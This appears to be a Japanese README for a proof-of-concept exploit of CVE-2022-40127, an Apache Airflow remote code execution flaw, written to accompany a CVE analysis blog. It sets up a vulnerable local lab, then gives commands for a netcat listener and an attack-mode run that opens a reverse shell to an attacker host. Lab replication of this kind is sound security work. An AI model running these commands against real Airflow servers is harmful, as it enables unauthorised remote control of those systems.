
CVE-2022-40127の概念実証エクスプロイト。巧妙に細工されたrun_idパラメータを介したApache Airflow RCEを標的とし、自動化されたリバースシェル配信を備えています。
CVE-2022-40127のPoC。これはApache AirflowのRCE脆弱性で、バージョン2.4.0未満に影響します。
公式レポートの説明には次のように記載されています:
Apache AirflowのExample Dagsの脆弱性により、UIアクセスを持ちDAGをトリガーできる攻撃者が、手動で提供されたrun_idパラメータを介して任意のコマンドを実行できます。この問題はApache Airflowのバージョン2.4.0未満に影響します。
このリポジトリは、vsocietyブログで公開されているCVE分析ブログ記事のために作成されました。
https://github.com/jakabakos/CVE-2022-40127/assets/42498816/2094f2ec-f074-41e6-99f4-f9f77dd09df6
リポジトリをクローンします:
git clone https://github.com/jakabakos/CVE-2022-40127.git
公式リポジトリからdocker-composeファイルをダウンロードします
cd /opt/
mkdir airflow-2.3.4 && cd airflow-2.3.4
curl -LfO 'https://airflow.apache.org/docs/apache-airflow/2.3.4/docker-compose.yaml'
Airflowを実行します
mkdir -p ./dags ./logs ./plugins
echo -e "AIRFLOW_UID=$(id -u)" > .env
docker-compose up airflow-init
docker-compose up
open localhost:8080
この場合、ユーザー名とパスワードはどちらもairflowになります。
公式インストール手順に基づいて:
pip3.8 install "apache-airflow==2.3.4" --constraint "https://raw.githubusercontent.com/apache/airflow/constraints-2.3.4/constraints-3.7.txt"
インストールが成功したかどうかは、which airflowおよび/またはairflow infoコマンドで確認できます。
Airflowを実行します
airflow standalone
生成されたパスワードとユーザー名をログで確認してください。
まず、必要なパッケージをpipでインストールします:
pip3 install -r requirements.txt
使用可能なオプションは以下で確認できます:
python3 exploit.py --help
ホストがエクスプロイト可能かどうかを確認できます:
python3 exploit.py -u airflow -p airflow -url http://localhost:8080
別のターミナルセッションでリバースシェル用のローカルリスナーを設定します:
nc -lvnp 4242
次のコマンドで攻撃モードでスクリプトを実行します:
python3 exploit.py -u airflow -p airflow -url http://localhost:8080 -a -host <attacker_ip> -port 4242
約1分以内に接続が確立されるはずです。
